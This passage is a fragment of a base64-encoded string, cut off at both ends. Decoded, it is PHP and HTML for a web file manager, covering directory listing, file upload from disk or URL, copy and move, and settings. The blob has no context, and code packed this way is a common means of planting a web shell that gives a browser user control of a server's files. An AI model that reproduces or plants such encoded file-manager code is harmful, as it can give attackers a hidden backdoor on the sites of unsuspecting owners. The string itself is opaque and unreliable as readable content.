G5cbiRwYXJlbnQgPSBmbV9nZXRfcGFyZW50X3BhdGgoRk1fUEFUSCk7XG5cbiRvYmplY3RzID0gaXNfcmVhZGFibGUoJHBhdGgpID8gc2NhbmRpcigkcGF0aCkgOiBhcnJheSgpO1xuJGZvbGRlcnMgPSBhcnJheSgpO1xuJGZpbGVzID0gYXJyYXkoKTtcbiRjdXJyZW50X3BhdGggPSBhcnJheV9zbGljZShleHBsb2RlKFwiXC9cIiwgJHBhdGgpLCAtMSlbMF07XG5pZiAoaXNfYXJyYXkoJG9iamVjdHMpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGN1cnJlbnRfcGF0aCwgJHBhdGgpKSB7XG4gICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgaWYgKCRmaWxlID09ICcuJyB8fCAkZmlsZSA9PSAnLi4nKSB7XG4gICAgICAgICAgICBjb250aW51ZTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoIUZNX1NIT1dfSElEREVOICYmIHN1YnN0cigkZmlsZSwgMCwgMSkgPT09ICcuJykge1xuICAgICAgICAgICAgY29udGludWU7XG4gICAgICAgIH1cbiAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG4gICAgICAgIGlmIChAaXNfZmlsZSgkbmV3X3BhdGgpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUsICRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGU7XG4gICAgICAgIH0gZWxzZWlmIChAaXNfZGlyKCRuZXdfcGF0aCkgJiYgJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJG5ld19wYXRoKSkge1xuICAgICAgICAgICAgJGZvbGRlcnNbXSA9ICRmaWxlO1xuICAgICAgICB9XG4gICAgfVxufVxuXG5pZiAoIWVtcHR5KCRmaWxlcykpIHtcbiAgICBuYXRjYXNlc29ydCgkZmlsZXMpO1xufVxuaWYgKCFlbXB0eSgkZm9sZGVycykpIHtcbiAgICBuYXRjYXNlc29ydCgkZm9sZGVycyk7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndXBsb2FkJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGZtX3Nob3dfaGVhZGVyKCk7XG4gICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTtcbiAgICBmdW5jdGlvbiBnZXRVcGxvYWRFeHQoKVxuICAgIHtcbiAgICAgICAgJGV4dEFyciA9IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKTtcbiAgICAgICAgaWYgKEZNX1VQTE9BRF9FWFRFTlNJT04gJiYgJGV4dEFycikge1xuICAgICAgICAgICAgYXJyYXlfd2FsaygkZXh0QXJyLCBmdW5jdGlvbiAoJiR4KSB7XG4gICAgICAgICAgICAgICAgJHggPSBcIi4keFwiO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLCcsICRleHRBcnIpO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiAnJztcbiAgICB9XG4gICAgPz5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWRyb3B6b25lJyk7ID8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cblxuICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZCBtYi0yIGZtLXVwbG9hZC13cmFwcGVyXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJuYXYgbmF2LXRhYnMgY2FyZC1oZWFkZXItdGFic1wiPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBhY3RpdmVcIiBocmVmPVwiI2ZpbGVVcGxvYWRlclwiIGRhdGEtdGFyZ2V0PVwiI2ZpbGVVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtYXJyb3ctY2lyY2xlLW8tdXBcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkaW5nRmlsZXMnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjdXJsVXBsb2FkZXJcIiBjbGFzcz1cImpzLXVybC11cGxvYWRcIiBkYXRhLXRhcmdldD1cIiN1cmxVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtbGlua1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQgZnJvbSBVUkwnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwiY2FyZC10ZXh0XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cImZsb2F0LXJpZ2h0XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2tcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1BBVEgpKSA/PlxuICAgICAgICAgICAgICAgIDxcL3A+XG5cbiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoRk1fU0VMRl9VUkwpIC4gJz9wPScgLiBmbV9lbmMoRk1fUEFUSCkgPz5cIiBjbGFzcz1cImRyb3B6b25lIGNhcmQtdGFicy1jb250YWluZXJcIiBpZD1cImZpbGVVcGxvYWRlclwiIGVuY3R5cGU9XCJtdWx0aXBhcnRcL2Zvcm0tZGF0YVwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmdWxscGF0aFwiIGlkPVwiZnVsbHBhdGhcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZhbGxiYWNrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT1cImZpbGVcIiB0eXBlPVwiZmlsZVwiIG11bHRpcGxlIFwvPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cblxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ1cGxvYWQtdXJsLXdyYXBwZXIgY2FyZC10YWJzLWNvbnRhaW5lciBoaWRkZW5cIiBpZD1cInVybFVwbG9hZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgIDxmb3JtIGlkPVwianMtZm9ybS11cmwtdXBsb2FkXCIgY2xhc3M9XCJyb3cgcm93LWNvbHMtbGctYXV0byBnLTMgYWxpZ24taXRlbXMtY2VudGVyXCIgb25zdWJtaXQ9XCJyZXR1cm4gdXBsb2FkX2Zyb21fdXJsKHRoaXMpO1wiIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cInVwbG9hZFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidXJsXCIgcGxhY2Vob2xkZXI9XCJVUkxcIiBuYW1lPVwidXBsb2FkdXJsXCIgcmVxdWlyZWQgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBzdHlsZT1cIndpZHRoOiA4MCVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1wcmltYXJ5IG1zLTNcIj48P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibGRzLWZhY2Vib29rXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9XCJqcy11cmwtdXBsb2FkX19saXN0XCIgY2xhc3M9XCJjb2wtOSBtdC0zXCI+PFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtZHJvcHpvbmUnKTsgPz5cbiAgICA8c2NyaXB0PlxuICAgICAgICBEcm9wem9uZS5vcHRpb25zLmZpbGVVcGxvYWRlciA9IHtcbiAgICAgICAgICAgIGNodW5raW5nOiB0cnVlLFxuICAgICAgICAgICAgY2h1bmtTaXplOiA8P3BocCBlY2hvIFVQTE9BRF9DSFVOS19TSVpFOyA/PixcbiAgICAgICAgICAgIGZvcmNlQ2h1bmtpbmc6IHRydWUsXG4gICAgICAgICAgICByZXRyeUNodW5rczogdHJ1ZSxcbiAgICAgICAgICAgIHJldHJ5Q2h1bmtzTGltaXQ6IDMsXG4gICAgICAgICAgICBwYXJhbGxlbFVwbG9hZHM6IDEsXG4gICAgICAgICAgICBwYXJhbGxlbENodW5rVXBsb2FkczogZmFsc2UsXG4gICAgICAgICAgICB0aW1lb3V0OiAxMjAwMDAsXG4gICAgICAgICAgICBtYXhGaWxlc2l6ZTogXCI8P3BocCBlY2hvIE1BWF9VUExPQURfU0laRTsgPz5cIixcbiAgICAgICAgICAgIGFjY2VwdGVkRmlsZXM6IFwiPD9waHAgZWNobyBnZXRVcGxvYWRFeHQoKSA/PlwiLFxuICAgICAgICAgICAgaW5pdDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgdGhpcy5vbihcInNlbmRpbmdcIiwgZnVuY3Rpb24oZmlsZSwgeGhyLCBmb3JtRGF0YSkge1xuICAgICAgICAgICAgICAgICAgICBsZXQgX3BhdGggPSAoZmlsZS5mdWxsUGF0aCkgPyBmaWxlLmZ1bGxQYXRoIDogZmlsZS5uYW1lO1xuICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcImZ1bGxwYXRoXCIpLnZhbHVlID0gX3BhdGg7XG4gICAgICAgICAgICAgICAgICAgIHhoci5vbnRpbWVvdXQgPSAoZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICB0b2FzdCgnRXJyb3I6IFNlcnZlciBUaW1lb3V0Jyk7XG4gICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIH0pLm9uKFwic3VjY2Vzc1wiLCBmdW5jdGlvbihyZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBfcmVzcG9uc2UgPSBKU09OLnBhcnNlKHJlcy54aHIucmVzcG9uc2UpO1xuXG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoX3Jlc3BvbnNlLnN0YXR1cyA9PSBcImVycm9yXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChfcmVzcG9uc2UuaW5mbyk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiRXJyb3I6IEludmFsaWQgSlNPTiByZXNwb25zZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pLm9uKFwiZXJyb3JcIiwgZnVuY3Rpb24oZmlsZSwgcmVzcG9uc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgdG9hc3QocmVzcG9uc2UpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgPFwvc2NyaXB0PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NvcHknXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHlfZmlsZXMgPSBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgPyAkX1BPU1RbJ2ZpbGUnXSA6IG51bGw7XG4gICAgaWYgKCFpc19hcnJheSgkY29weV9maWxlcykgfHwgZW1wdHkoJGNvcHlfZmlsZXMpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4/PlxuICAgIDxkaXYgY2xhc3M9XCJwYXRoXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8aDY+PD9waHAgZWNobyBsbmcoJ0NvcHlpbmcnKSA/PjxcL2g2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmluaXNoXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjb3B5X2ZpbGVzIGFzICRjZikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCInIC4gZm1fZW5jKCRjZikgLiAnXCI+JyAuIFBIUF9FT0w7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRmlsZXMnKSA/PjxcL3N0cm9uZz46IDxiPjw/cGhwIGVjaG8gaW1wbG9kZSgnPFwvYj4sIDxiPicsICRjb3B5X2ZpbGVzKSA/PjxcL2I+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnU291cmNlRm9sZGVyJykgPz48XC9zdHJvbmc+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gRk1fUEFUSCkpID8+PGJyPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucF9jb3B5X3RvXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIEZNX1JPT1RfUEFUSCA/PlwvPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNvcHlfdG9cIiBpZD1cImlucF9jb3B5X3RvXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cImN1c3RvbS1jaGVja2JveCBjdXN0b20tY29udHJvbFwiPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwibW92ZVwiIHZhbHVlPVwiMVwiIGlkPVwianMtbW92ZS1maWxlc1wiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1tb3ZlLWZpbGVzXCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1sYWJlbCBtcy0yXCI+PD9waHAgZWNobyBsbmcoJ01vdmUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSkgJiYgIWlzc2V0KCRfR0VUWydmaW5pc2gnXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHkgPSAkX0dFVFsnY29weSddO1xuICAgICRjb3B5ID0gZm1fY2xlYW5fcGF0aCgkY29weSk7XG4gICAgaWYgKCRjb3B5ID09ICcnIHx8ICFmaWxlX2V4aXN0cyhGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8cD48Yj5Db3B5aW5nPFwvYj48XC9wPlxuICAgICAgICA8cCBjbGFzcz1cImJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDxzdHJvbmc+U291cmNlIHBhdGg6PFwvc3Ryb25nPiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSA/Pjxicj5cbiAgICAgICAgICAgIDxzdHJvbmc+RGVzdGluYXRpb24gZm9sZGVyOjxcL3N0cm9uZz4gPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJ1wvJyAuIEZNX1BBVEgpKSA/PlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD5cbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xXCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiBDb3B5PFwvYT48XC9iPiAmbmJzcDtcbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xJmFtcDttb3ZlPTFcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IE1vdmU8XC9hPjxcL2I+ICZuYnNwO1xuICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJ0ZXh0LWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gQ2FuY2VsPFwvYT48XC9iPlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD48aT48P3BocCBlY2hvIGxuZygnU2VsZWN0IGZvbGRlcicpID8+PFwvaT48XC9wPlxuICAgICAgICA8dWwgY2xhc3M9XCJmb2xkZXJzIGJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICBpZiAoJHBhcmVudCAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnRcIj48XC9pPiAuLjxcL2E+PFwvbGk+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1mb2xkZXItb1wiPjxcL2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oJGYpID8+PFwvYT5cbiAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICB9XG4gICAgICAgICAgICA/PlxuICAgICAgICA8XC91bD5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydzZXR0aW5ncyddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkbGFuZ19saXN0O1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtY29nXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9zcGFuPlxuICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cInRleHQtZGFuZ2VyXCI+PGkgY2xhc3M9XCJmYSBmYS10aW1lcy1jaXJjbGUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9oNj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkLWJvZHlcIj5cbiAgICAgICAgICAgICAgICA8Zm9ybSBpZD1cImpzLXNldHRpbmdzLWZvcm1cIiBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCIgZGF0YS10eXBlPVwiYWpheFwiIG9uc3VibWl0PVwicmV0dXJuIHNhdmVfc2V0dGluZ3ModGhpcylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwic2V0dGluZ3NcIiBhcmlhLWxhYmVsPVwiaGlkZGVuXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWdyb3VwIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLWxhbmd1YWdlXCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdMYW5ndWFnZScpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPVwiZm9ybS1zZWxlY3RcIiBpZD1cImpzLWxhbmd1YWdlXCIgbmFtZT1cImpzLWxhbmd1YWdlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFNlbGVjdGVkKCRsKVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbG9iYWwgJGxhbmc7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRsYW5nID09ICRsKSA/ICdzZWxlY3RlZCcgOiAnJztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkbGFuZ1